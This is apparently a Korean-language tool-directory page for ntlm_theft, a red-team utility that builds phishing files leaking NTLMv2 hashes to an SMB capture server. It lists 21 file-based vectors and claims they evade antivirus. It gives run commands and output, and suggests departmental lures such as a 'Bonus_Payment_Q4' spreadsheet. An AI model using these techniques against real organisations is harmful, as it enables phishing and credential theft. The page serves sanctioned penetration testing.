Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ntlm_theft — 다양한 유형의 NTLMv2 해시 탈취 파일을 생성하는 도구 (Jacob Wilkin (Greenwolf) 제작) | Kitploit
도구/GitHubGitHub/greenwolf/ntlm_theft
Phishing ToolsPassword AttacksInformation GatheringPenetration TestingRed Teaming
GitHubgreenwolf/ntlm_theft

ntlm_theft

다양한 유형의 NTLMv2 해시 탈취 파일을 생성하는 도구 (Jacob Wilkin (Greenwolf) 제작)

저장소 보기
1.5k174173일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ntlm_theft

NTLMv2 해시 도용 파일을 여러 유형으로 생성하는 도구입니다.

ntlm_theft는 21가지 유형의 해시 도용 문서를 생성하는 오픈 소스 Python3 도구입니다. 이 문서들은 대상이 네트워크 외부로 SMB 트래픽을 허용하거나 이미 내부 네트워크에 있는 경우 피싱에 사용될 수 있습니다.

이러한 파일 유형의 장점은 매크로 기반 문서나 익스플로잇 문서와 달리 모두 '의도된 기능'을 사용하여 구축된다는 점입니다. 2020년 6월 기준 Windows Defender Antivirus에서 하나도 탐지되지 않았으며, 완전히 패치된 Windows 10 호스트에서 21가지 공격 중 17가지가 작동했습니다.

ntlm_theft는 다음 공격 유형을 지원합니다:

  • 폴더를 탐색하여 포함
    • .url – URL 필드를 통해
    • .url – ICONFILE 필드를 통해
    • .lnk – icon_location 필드를 통해
    • .scf – ICONFILE 필드를 통해 (최신 Windows에서 작동하지 않음)
    • autorun.inf – OPEN 필드를 통해 (최신 Windows에서 작동하지 않음)
    • desktop.ini – IconResource 필드를 통해 (최신 Windows에서 작동하지 않음)
  • 문서 열기
    • .xml – Microsoft Word 외부 스타일시트를 통해
    • .xml – Microsoft Word includepicture 필드를 통해
    • .htm – Chrome, IE, Edge img src를 통해 (로컬에서 열 때만, 호스팅되지 않은 경우)
    • .docx – Microsoft Word includepicture 필드를 통해
    • .docx – Microsoft Word 외부 템플릿을 통해
    • .docx – Microsoft Word frameset webSettings를 통해
    • .xlsx – Microsoft Excel 외부 셀을 통해
    • .wax – Windows Media Player 재생 목록을 통해 (더 나은, 기본 열기)
    • .asx – Windows Media Player 재생 목록을 통해 (더 나은, 기본 열기)
    • .m3u – Windows Media Player 재생 목록을 통해 (덜 나은, Win10에서는 Groovy에서 먼저 열림)
    • .jnlp – Java 외부 jar를 통해
    • .application – 모든 브라우저를 통해 (브라우저에서 다운로드되어야 실행됨)
  • 문서를 열고 팝업 허용
    • .pdf – Adobe Acrobat Reader를 통해
  • 채팅 프로그램에서 링크 클릭
    • .txt – Zoom 채팅에 붙여넣을 형식화된 링크

사용 사례 (이 도구를 실행해야 하는 이유)

ntlm_theft는 주로 침투 테스터와 레드 팀을 대상으로 하며, 대상 회사 직원에 대한 내부 피싱을 수행하거나 안티바이러스 및 이메일 게이트웨이를 대량 테스트하는 데 사용됩니다. 또한 경계 방화벽에서 아웃바운드 SMB 액세스가 허용되는 경우 외부 피싱에도 사용될 수 있습니다.

침투 테스트 중에 레드 팀 활동에서처럼 특정 공격을 구성하는 데 시간을 소비하는 대신 사용 가능한 파일 유형을 쉽게 확인하는 데 유용하다는 것을 알게 되었습니다. 인사 부서에는 .rtf 또는 .docx 파일을, 재무 부서에는 .xlsx 스프레드시트 문서를 보낼 수 있습니다.

시작하기

다음 지침은 ntlm_theft의 요구 사항과 사용 방법을 보여줍니다.

사전 요구 사항

ntlm_theft는 Python3와 xlsxwriter가 필요합니다:

root@kitploit:~
pip3 install xlsxwriter

필수 매개변수

도구를 시작하려면 입력 형식, 입력 파일 또는 폴더, 기본 실행 모드라는 4개의 매개변수를 제공해야 합니다:

root@kitploit:~
-g, --generate	: 모든 파일 또는 특정 파일 유형을 생성하도록 선택
-s, --server 	: SMB 해시 캡처 서버의 IP 주소 (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb 등)
-f, --filename	: 확장자가 없는 기본 파일 이름, 나중에 변경 가능 (예: test, Board-Meeting2020, Bonus_Payment_Q4)

실행 예시

다음은 모든 파일을 생성하는 실행 예시입니다:

root@kitploit:~
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

Example Run

다음은 최신 파일만 생성하는 실행 예시입니다:

root@kitploit:~
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.

다음은 xlsx 파일만 생성하는 실행 예시입니다:

root@kitploit:~
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.

저자

  • Jacob Wilkin - 연구 및 개발

라이선스

ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

감사의 말

  • Ired
  • Securify
  • Pentestlab
  • deepzec
  • rocketscientist911
  • Osanda
  • Violation Industry
  • @kazkansouh - Adding .lnk support
도구 다운로드